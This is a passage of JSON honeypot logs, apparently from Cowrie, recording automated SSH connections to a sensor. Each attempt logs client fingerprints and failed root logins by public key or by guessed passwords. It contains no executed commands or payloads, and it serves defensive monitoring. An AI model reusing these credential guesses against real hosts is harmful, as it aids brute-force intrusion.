ha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:32.372499Z","src_ip":"208.87.242.161","session":"5b97cd64059f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:52:0d:57:53:5f:04:7c:cb:db:5b:32:71:b3:55:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzqgahb6tJ+DfYPIiLt1dKnVnP5LDEG3fIoODbE9iTJ1MeCxR4Ra5tPJTjhNwiXsiUcXAtR0uuxJ6NYx0zs1trRbwFcFyDwe8sItRYSvfG66d6PuxjjjtWRcMY3K1gTEGj0xNhon16XJ9gABd8xy1nAOwYG/39d9dUd2JcjJJOKDa1ybmkN4MwvC/aC+naH3WLI8E41Wi8OkMzDI3u98wPiIfD6yQGAENjPQGmuNbFV4NYBBzIjiWOb+a5FeNzlmJLpbHjfl8xerJRBW8BcOYn+4ESIkqXkQMP6C2IM8PbzkutESafXwI+LxhRQdbxYz2RwRmjEsNAt/AEzZHd1ShL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:52:0d:57:53:5f:04:7c:cb:db:5b:32:71:b3:55:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:32.722973Z","src_ip":"208.87.242.161","session":"5b97cd64059f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:52:0d:57:53:5f:04:7c:cb:db:5b:32:71:b3:55:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzqgahb6tJ+DfYPIiLt1dKnVnP5LDEG3fIoODbE9iTJ1MeCxR4Ra5tPJTjhNwiXsiUcXAtR0uuxJ6NYx0zs1trRbwFcFyDwe8sItRYSvfG66d6PuxjjjtWRcMY3K1gTEGj0xNhon16XJ9gABd8xy1nAOwYG/39d9dUd2JcjJJOKDa1ybmkN4MwvC/aC+naH3WLI8E41Wi8OkMzDI3u98wPiIfD6yQGAENjPQGmuNbFV4NYBBzIjiWOb+a5FeNzlmJLpbHjfl8xerJRBW8BcOYn+4ESIkqXkQMP6C2IM8PbzkutESafXwI+LxhRQdbxYz2RwRmjEsNAt/AEzZHd1ShL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:32.726692Z","src_ip":"208.87.242.161","session":"5b97cd64059f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:9a:5d:7a:82:5b:ec:2c:e1:9d:c5:05:8d:53:30:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAlsT+Zy24JE1cclH9hd29w5psqYJUFkOEcsY9qKeRdHRDCG9ZXaysN47l/hFFafX6hFcmbFO8qCx4L0QYGWdVqwn3yvWZW/feFsrLPfLyX4ts+aKr2hvJOHvNeNcNXQLO8wF0rZm+bCmSAVTfZRHPCtgPA42zW+Bw4wiXYayTdLfbXDX5ZHNHZKaC4DUZaD6bi5ol4PSmBID6N3NqI7MWaVuSVKLu9IodE6EO3P6BrRacYxLb2Jym/wki8uVz8tcBbn/JLucUMWCquXWZ7sLVu9dpoKaQrAn55hU46SK3aEg7yTsbdTC+6ggf9vxfAfMburaJbL8oHrobXRKlHe9gvQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:9a:5d:7a:82:5b:ec:2c:e1:9d:c5:05:8d:53:30:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:32.801646Z","src_ip":"208.87.242.161","session":"5b97cd64059f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:9a:5d:7a:82:5b:ec:2c:e1:9d:c5:05:8d:53:30:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAlsT+Zy24JE1cclH9hd29w5psqYJUFkOEcsY9qKeRdHRDCG9ZXaysN47l/hFFafX6hFcmbFO8qCx4L0QYGWdVqwn3yvWZW/feFsrLPfLyX4ts+aKr2hvJOHvNeNcNXQLO8wF0rZm+bCmSAVTfZRHPCtgPA42zW+Bw4wiXYayTdLfbXDX5ZHNHZKaC4DUZaD6bi5ol4PSmBID6N3NqI7MWaVuSVKLu9IodE6EO3P6BrRacYxLb2Jym/wki8uVz8tcBbn/JLucUMWCquXWZ7sLVu9dpoKaQrAn55hU46SK3aEg7yTsbdTC+6ggf9vxfAfMburaJbL8oHrobXRKlHe9gvQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:32.805600Z","src_ip":"208.87.242.161","session":"5b97cd64059f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:53:fc:9a:a7:c3:7d:28:82:3b:78:67:91:d9:21:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqlS3kMdjklUkXVpSzyYpEa9N15Efd+AedGp6ZPY9d/GDbnUUA9BNJtqyW1tDkO19Z5hJ/WxIaonywLhg2MAS/IgTfpir9y0EY7KLQmEyLlH9W7440rCo0Q+Uezfu3MjwhTQ7MGniF4Ak/0RejcFHxX51F9/sFoNvbaDMccLZxIOo66yLbubXh4Ix4d0ymw57Fe3dmgIl7vEkYHXjhUywLaNe5aPYXWbBhuEqkeBJmha7QJQ7KiRWfOV9MWbtdIVQ/K8PjfPp0vuyp+YDLMxm6CBYpgGvljre1TUYDX2VB76fObiTVGcBA6Bd5uhmLPYhGueY/yPBkSeN3FFI4ZRrv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:53:fc:9a:a7:c3:7d:28:82:3b:78:67:91:d9:21:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:32.880250Z","src_ip":"208.87.242.161","session":"5b97cd64059f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:53:fc:9a:a7:c3:7d:28:82:3b:78:67:91:d9:21:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqlS3kMdjklUkXVpSzyYpEa9N15Efd+AedGp6ZPY9d/GDbnUUA9BNJtqyW1tDkO19Z5hJ/WxIaonywLhg2MAS/IgTfpir9y0EY7KLQmEyLlH9W7440rCo0Q+Uezfu3MjwhTQ7MGniF4Ak/0RejcFHxX51F9/sFoNvbaDMccLZxIOo66yLbubXh4Ix4d0ymw57Fe3dmgIl7vEkYHXjhUywLaNe5aPYXWbBhuEqkeBJmha7QJQ7KiRWfOV9MWbtdIVQ/K8PjfPp0vuyp+YDLMxm6CBYpgGvljre1TUYDX2VB76fObiTVGcBA6Bd5uhmLPYhGueY/yPBkSeN3FFI4ZRrv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:32.883703Z","src_ip":"208.87.242.161","session":"5b97cd64059f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:f9:91:c5:a9:75:1a:4d:a4:1c:da:34:98:3b:99:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1vFwxrxkUyYrVqMd22QQ6XMujFNYvYzIfCxY5KaGuduLsG6cVI7F5KheYFU/UEyrwoI/aTEvdXUgPeKrD8Hdn+9uIhmj29QfuFl3mHq+ZV3annRloe0+v4PhkWJegXf28BysqcSLGPO+S0Uqyhd7b+NMBiha+v9vkDoN1+SpSnkC+uJ34XGymBJarhOx/dEptBwSh1r1WLQsU9Fzf/vXzrOTfFvfMelByxAnWLEqiwTg1Hg3sMdY6Cn2r2FZbGp+NjtCW6YSIk6e6lmYNnPSokAwhx96rcslfGT+0lEAV1s0AgqgWnlwLlPy9A/MmgB+7RpJVYfJaXZe3LdI+OEmHrH7Cg9pu+Anu3FOa8cHFpM/DbOy3kxHT0B1jmLgs5nhp4e0i5dAgsh31roj4mFf2WO32VY7dkuHYygtaTwGWGJpXKNpZuVafyS7pPkJs0l+f69JfCHg0kG3Qdl9ZTxNSp/awC+rXJ7GTb2lsLRRgkBMnwOBPyBX6VquFoniNC1yI5DRWDQEBYs73jdHFWbSc+2PR514CWc/poiQ3eje3i+5/FULEyXQqXlXQpUFC/b6Xjwjcsn8PFXu7yQv8GTJociJ45dZIrYYa8zq7EeNzaXdaJwo3bEIZPb5Hs90a1hhsm7JLZsh3giSnnlUzH3BBjLj7oMeyywtpuqwhQxxrFw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:f9:91:c5:a9:75:1a:4d:a4:1c:da:34:98:3b:99:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:32.958391Z","src_ip":"208.87.242.161","session":"5b97cd64059f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:f9:91:c5:a9:75:1a:4d:a4:1c:da:34:98:3b:99:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1vFwxrxkUyYrVqMd22QQ6XMujFNYvYzIfCxY5KaGuduLsG6cVI7F5KheYFU/UEyrwoI/aTEvdXUgPeKrD8Hdn+9uIhmj29QfuFl3mHq+ZV3annRloe0+v4PhkWJegXf28BysqcSLGPO+S0Uqyhd7b+NMBiha+v9vkDoN1+SpSnkC+uJ34XGymBJarhOx/dEptBwSh1r1WLQsU9Fzf/vXzrOTfFvfMelByxAnWLEqiwTg1Hg3sMdY6Cn2r2FZbGp+NjtCW6YSIk6e6lmYNnPSokAwhx96rcslfGT+0lEAV1s0AgqgWnlwLlPy9A/MmgB+7RpJVYfJaXZe3LdI+OEmHrH7Cg9pu+Anu3FOa8cHFpM/DbOy3kxHT0B1jmLgs5nhp4e0i5dAgsh31roj4mFf2WO32VY7dkuHYygtaTwGWGJpXKNpZuVafyS7pPkJs0l+f69JfCHg0kG3Qdl9ZTxNSp/awC+rXJ7GTb2lsLRRgkBMnwOBPyBX6VquFoniNC1yI5DRWDQEBYs73jdHFWbSc+2PR514CWc/poiQ3eje3i+5/FULEyXQqXlXQpUFC/b6Xjwjcsn8PFXu7yQv8GTJociJ45dZIrYYa8zq7EeNzaXdaJwo3bEIZPb5Hs90a1hhsm7JLZsh3giSnnlUzH3BBjLj7oMeyywtpuqwhQxxrFw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:32.962346Z","src_ip":"208.87.242.161","session":"5b97cd64059f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:65:1e:53:b9:73:4c:fa:c5:f9:5e:86:d0:ce:7a:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEkcP1bD/qhy2KYHsb1+7Zkq11+IR2mAFh0ZCPRmdiUYkj2raRNRUb7Ax1YbD/uu95f2G5BThrJf+bnXcoxsbiPKv+fo2OXaPPvKl0tH+wMD7lP8pVU5ZkKkfOHCCzrg0Gb07cxIKybDx5tkeJlzMq9jTSL1i8E9RwjRes6M4rJ8FC+vauwlVVnpbF+kfuaUgu2xoTo5OoFXx0P4xKhp1/6PdkB9Lg+FrNC4DlXTqVZmBjQ79uuwTLk76FMwGFDUAh/faTt8de2a7MgWHBLOepard8ZklUKhPq78GfcgTD4H2lLQuBuNND9c6V3a0beSnxHVpF0w5seVXgDpYrNGa3tcOp7TuqarJHhEE188DPYsDyE7dzrltRPP40gVEZr9x6TzxdGZUHtpHfFkqPh1EHxIz7S17tUhfK8EPQu8KwciDPegcnsRxlB7UTxjCnfI2ECTJTAXe4UFvLDN4SiUjoYORQB06p15vKp1oNcTLs1W8HtOH6FDZycwN4tEmkOwulP34Nr2FMdniHxJ2PMb4LzI+L6UgR0yhxBHQPeeFGWHQdCLU3tYX0RgiYyC54Y951+gMF1niERVpRT7WmQqGhHQ405x5AyK4QxCyLGhWHZrlVZnP7Z3FB8offkxKxA1M3s325M/5zmkTLiurSy7DeG51y6CVQ5jkm2ynXUUzkVQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:65:1e:53:b9:73:4c:fa:c5:f9:5e:86:d0:ce:7a:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:33.037393Z","src_ip":"208.87.242.161","session":"5b97cd64059f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:65:1e:53:b9:73:4c:fa:c5:f9:5e:86:d0:ce:7a:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEkcP1bD/qhy2KYHsb1+7Zkq11+IR2mAFh0ZCPRmdiUYkj2raRNRUb7Ax1YbD/uu95f2G5BThrJf+bnXcoxsbiPKv+fo2OXaPPvKl0tH+wMD7lP8pVU5ZkKkfOHCCzrg0Gb07cxIKybDx5tkeJlzMq9jTSL1i8E9RwjRes6M4rJ8FC+vauwlVVnpbF+kfuaUgu2xoTo5OoFXx0P4xKhp1/6PdkB9Lg+FrNC4DlXTqVZmBjQ79uuwTLk76FMwGFDUAh/faTt8de2a7MgWHBLOepard8ZklUKhPq78GfcgTD4H2lLQuBuNND9c6V3a0beSnxHVpF0w5seVXgDpYrNGa3tcOp7TuqarJHhEE188DPYsDyE7dzrltRPP40gVEZr9x6TzxdGZUHtpHfFkqPh1EHxIz7S17tUhfK8EPQu8KwciDPegcnsRxlB7UTxjCnfI2ECTJTAXe4UFvLDN4SiUjoYORQB06p15vKp1oNcTLs1W8HtOH6FDZycwN4tEmkOwulP34Nr2FMdniHxJ2PMb4LzI+L6UgR0yhxBHQPeeFGWHQdCLU3tYX0RgiYyC54Y951+gMF1niERVpRT7WmQqGhHQ405x5AyK4QxCyLGhWHZrlVZnP7Z3FB8offkxKxA1M3s325M/5zmkTLiurSy7DeG51y6CVQ5jkm2ynXUUzkVQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:33.040736Z","src_ip":"208.87.242.161","session":"5b97cd64059f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:33.115478Z","src_ip":"208.87.242.161","session":"5b97cd64059f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":58744,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6f23f74068a","protocol":"ssh","message":"New connection: 103.15.222.183:58744 (10.17.0.5:22) [session: c6f23f74068a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:44.769076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:44.774439Z","src_ip":"103.15.222.183","session":"c6f23f74068a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:45.027743Z","src_ip":"103.15.222.183","session":"c6f23f74068a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19031987","message":"login attempt [root/19031987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:45.780579Z","src_ip":"103.15.222.183","session":"c6f23f74068a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:47:47.039749Z","src_ip":"103.15.222.183","session":"c6f23f74068a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":44722,"dst_ip":"10.17.0.5","dst_port":22,"session":"230143b026a2","protocol":"ssh","message":"New connection: 109.172.54.111:44722 (10.17.0.5:22) [session: 230143b026a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:48:01.195006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:48:01.200097Z","src_ip":"109.172.54.111","session":"230143b026a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:48:01.303766Z","src_ip":"109.172.54.111","session":"230143b026a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12321232","message":"login attempt [root/12321232] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:48:01.605446Z","src_ip":"109.172.54.111","session":"230143b026a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:48:02.715549Z","src_ip":"109.172.54.111","session":"230143b026a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.90.232.26","src_port":37238,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c49dffe9e71","protocol":"ssh","message":"New connection: 209.90.232.26:37238 (10.17.0.5:22) [session: 3c49dffe9e71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:48:32.211958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:48:32.215930Z","src_ip":"209.90.232.26","session":"3c49dffe9e71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:48:32.291538Z","src_ip":"209.90.232.26","session":"3c49dffe9e71","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:74:e4:51:33:74:f6:16:cc:06:a4:43:87:26:19:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcLI52fRJzLsy8KU83+Z5EvvxjABtye14cpIOCFW0qBdOBwhfYdvo1gaRTtMiBFh7ZNgsPdUjCW01QnvK+BGdErq1TIHDLjzgW/wRFQ4gpJx8sdx0cY3MX01eohxxN71MEshRevxauE4ERjNf6ejgFh8HD9gKoF2XbY1Mh5jpmPEnHArx8YA80TSvliWq8ozGcQ6JPqczCYcrjZsW4ht5jj28vwldz6HDV4DdtwAgI6/u4zSkbdcZc0FE985RsTKDzW1wX7j3/Zzf+irTHsACzFJ1QctmpAf58S27/d618FGITkwieagPNc/gva1EWAL+mHMWbZGXIGtyP8AjO8Ku5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:74:e4:51:33:74:f6:16:cc:06:a4:43:87:26:19:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:48:32.630568Z","src_ip":"209.90.232.26","session":"3c49dffe9e71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:74:e4:51:33:74:f6:16:cc:06:a4:43:87:26:19:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcLI52fRJzLsy8KU83+Z5EvvxjABtye14cpIOCFW0qBdOBwhfYdvo1gaRTtMiBFh7ZNgsPdUjCW01QnvK+BGdErq1TIHDLjzgW/wRFQ4gpJx8sdx0cY3MX01eohxxN71MEshRevxauE4ERjNf6ejgFh8HD9gKoF2XbY1Mh5jpmPEnHArx8YA80TSvliWq8ozGcQ6JPqczCYcrjZsW4ht5jj28vwldz6HDV4DdtwAgI6/u4zSkbdcZc0FE985RsTKDzW1wX7j3/Zzf+irTHsACzFJ1QctmpAf58S27/d618FGITkwieagPNc/gva1EWAL+mHMWbZGXIGtyP8AjO8Ku5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:48:32.634747Z","src_ip":"209.90.232.26","session":"3c49dffe9e71","protocol":"ssh"}
